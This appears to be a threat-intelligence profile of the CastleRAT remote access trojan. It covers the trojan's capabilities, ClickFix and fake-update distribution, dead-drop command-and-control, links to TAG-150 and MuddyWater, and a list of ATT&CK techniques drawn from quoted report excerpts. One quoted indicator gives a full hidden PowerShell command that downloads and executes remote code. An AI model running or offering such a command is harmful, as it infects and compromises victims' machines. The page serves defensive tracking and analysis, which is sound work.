CastleRAT is a Windows remote access trojan associated with the Russian-speaking TAG-150 cybercriminal ecosystem and distributed through a malware-as-a-service model. It has Python and native C variants, both of which collect system information, download and execute additional payloads, and execute commands through Windows command shells and PowerShell. The C variant additionally supports keylogging and screen capture. Some builds provide hidden desktop access, browser credential theft, browser cookie decryption, and SOCKS5 proxying, enabling covert remote interaction and account takeover operations.
CastleRAT uses a custom binary command-and-control protocol protected with RC4 encryption. It can obtain command-and-control information through dead-drop resolution using Steam Community pages. The Python variant supports execution of executable and DLL payloads, returning command output, periodic keep-alive messages, and self-deletion. Deployment methods include compiled Python builds and bring-your-own-runtime execution. CastleRAT payloads have also been concealed in steganographic images and protected with the Shanya packing service.
Distribution commonly involves CastleLoader and ClickFix social engineering, including fake CAPTCHA, verification, and software-update prompts that induce victims to execute malicious commands. Campaigns have impersonated AMD and Intel updates, and a Booking.com-themed campaign targeted hotels. Multistage delivery chains have used legitimate Python interpreters to execute compressed and encoded downloader code before deploying CastleRAT.
Beyond financially motivated intrusions, CastleRAT has been adopted by the Iranian state-linked espionage group MuddyWater. Associated operations have targeted Israeli organizations and defense, energy, government, and telecommunications entities across the Middle East, the United States, and Europe. Its use by both criminal and state-linked operators means that the malware family alone does not establish an intrusion's attribution or objective.
3 CVEs Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.
3 distinct threat actors Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
This report documents a direct operational link between the exposed infrastructure of Iranian threat actor MuddyWater and TAG-150 CastleRAT malware – a modular malware-as-a-service (MaaS) platform developed by Russian-speaking cybercriminals.
...Velvet Tempest ... used a ClickFix lure ... to drop payloads like DonutLoader and CastleRAT.
49 distinct techniques documented for this family, organized by ATT&CK tactic.
Actor attempts logins to financial-institution websites using exfiltrated browser credentials
MITRE ATT&CK ID Technique T1190 CVE-2024-55591, CVE-2024-23113, CVE-2026-1281
"First Malicious MCP Server Found Stealing Emails in Rogue Postmark-MCP Package"; "Self-Replicating Worm Hits 180+ npm Packages"; "SilentSync RAT Delivered via Two Malicious PyPI Packages"; "Malicious Rust Crates Steal Solana and Ethereum Keys"; "VS Code ... republish deleted extensions"
Despite public exposure, MuddyWater continued operations in March 2026, deploying updated malware and phishing lures days after initial detection.
MITRE ATT&CK ID Technique T1566.002 Phishing: ClickFix/BatClickFix social engineering
et d’établir une persistance via des tâches planifiées
These incidents have all included the use of finger.exe as the initial retrieval mechanism with the majority using caret (^) obfuscation on the command string.
`reset.ps1` was found on the MuddyWater-attributed C2 server ... This PowerShell script installs Node.js, AES-decrypts an embedded payload, and deploys the ChainShell pair
Available in both Python and C variants, CastleRAT's core functionality consists of collecting system information, downloading and executing additional payloads, and executing commands via CMD and PowerShell.
“It then retrieves IronPython, which runs compressed and Base64-encoded code that downloads later stages.”
ChainShell is a thin execution shell, the server sends JavaScript via `new Function()` and the agent executes and returns results via `serverSend()`.
“The malware arrives through ClickFix, a social-engineering method that tricks people into running commands presented as a routine check.”
“The infection begins with a ClickFix lure that instructs a target to launch a command.”
CastleRAT TTPs list includes “Execution T1559 Inter-Process Communication,” and describes a “hidden command interface… through redirected inter-process communication pipes.”
et d’établir une persistance via des tâches planifiées
Actor attempts logins to financial-institution websites using exfiltrated browser credentials
It registered for autostart and then executed the clean loader (consent.exe).
et d’établir une persistance via des tâches planifiées
Actor attempts logins to financial-institution websites using exfiltrated browser credentials
It registered for autostart and then executed the clean loader (consent.exe).
CastleRAT TTPs list includes “Privilege Escalation T1548.002… Bypass User Account Control.” MuddyWater also lists T1548.002.
These incidents have all included the use of finger.exe as the initial retrieval mechanism with the majority using caret (^) obfuscation on the command string.
Analysis of an exposed C2 server revealed 15 malware samples, including CastleRAT builds hidden in steganographic image files and additional JavaScript-based RAT variants.
The Blackpoint APG is currently tracking a campaign that uses ClickFix-style lures fake AMD/Intel software updater prompts to trick users into executing a malicious loader.
The following features have been implemented and unchanged since the CastleRAT Python variant was first observed in late July 2025: ... Self-delete
Actor attempts logins to financial-institution websites using exfiltrated browser credentials
MITRE ATT&CK ID Technique T1218.003 CMSTPLUA COM elevation (UAC bypass)
CastleRAT TTPs list includes “Defense Evasion T1218.011… Rundll32.” MuddyWater also lists “T1218.011… Rundll32.”
The latest iteration supports dynamic AppleScript payloads and in-memory execution to evade static analysis, bypass behavioral detections, and complicate incident response.
MITRE ATT&CK ID Technique T1562.001 Defender evasion via WMI exclusions
CastleRAT is a remote access trojan with several capabilities including keylogging
By adopting CastleRAT and ChainShell, MuddyWater gains access to advanced capabilities including: Hidden Virtual Network Computing (HVNC) for stealth system control Credential theft and Chrome cookie decryption
By adopting CastleRAT and ChainShell, MuddyWater gains access to advanced capabilities including: Hidden Virtual Network Computing (HVNC) for stealth system control Credential theft and Chrome cookie decryption
The MaaS model also gives MuddyWater quick access to capabilities (HVNC, Chrome cookie encryption bypassing, blockchain-resilient C2) ... MITRE ATT&CK ID Technique T1555.003 Browser credential theft (Chrome app-bound bypass)
Une fois installé, il collecte des informations système (nom de machine, utilisateur, adresse IP, GUID) et les transmet au C2
...the C-based iteration, which could facilitate ... file uploads and downloads...
Queries the geolocation API ip-api[.]com to obtain location and other information through the infected host’s public IP address
By adopting CastleRAT and ChainShell, MuddyWater gains access to advanced capabilities including: Hidden Virtual Network Computing (HVNC) for stealth system control
CastleRAT is a remote access trojan with several capabilities including keylogging
CastleRAT is a remote access trojan with several capabilities including keylogging, screen capturing
le détournement du presse-papiers pour exfiltrer des données
accès aux périphériques audio/vidéo
accès aux périphériques audio/vidéo
CastleRAT TTPs list includes “Collection T1185 Browser Session Hijacking,” and describes manipulating browser behavior by terminating sessions and silently spawning Chromium instances.
«CastleRAT» est un cheval de Troie d’accès à distance, conçu pour offrir un contrôle complet d’un système compromis via un serveur C2.
Malware name: C2_10a (T1071.001) ... powershell -w h -ep b -c "iex (iwr 'biokdsl[.]com/upd' -useb).Content"
used CastleRAT to proxy the replica’s live browser session, attempting logins against financial-institution websites directly from the compromised workstation
MITRE ATT&CK ID Technique T1090.001 SOCKS5 proxy (4,096 tunnels)
CastleRAT is a RAT that includes C and Python variants sharing the following commonalities: Custom binary protocol using RC4 encryption with hard-coded 16-byte keys
At the time of publication, Phexia is unique from other macOS stealers in its use of dead drop resolution with Telegram, Steam, and blockchain smart contracts to discover command and control (C2) domains for communication.
For example, C2 deaddrops hosted on Steam Community pages is a new development, first observed in late August 2025.
“It abuses Windows finger.exe to retrieve a batch script... [which] retrieves IronPython... code that downloads later stages, including CastleLoader and CastleRAT.”
MITRE ATT&CK ID Technique T1219 HVNC hidden desktop control
For example, C2 deaddrops hosted on Steam Community pages is a new development, first observed in late August 2025.
des techniques d’évasion sophistiquées comme le chiffrement RC4 des communications
Rather than enumerating Active Directory or moving laterally, the actor exfiltrated browser credentials
36 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
40 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.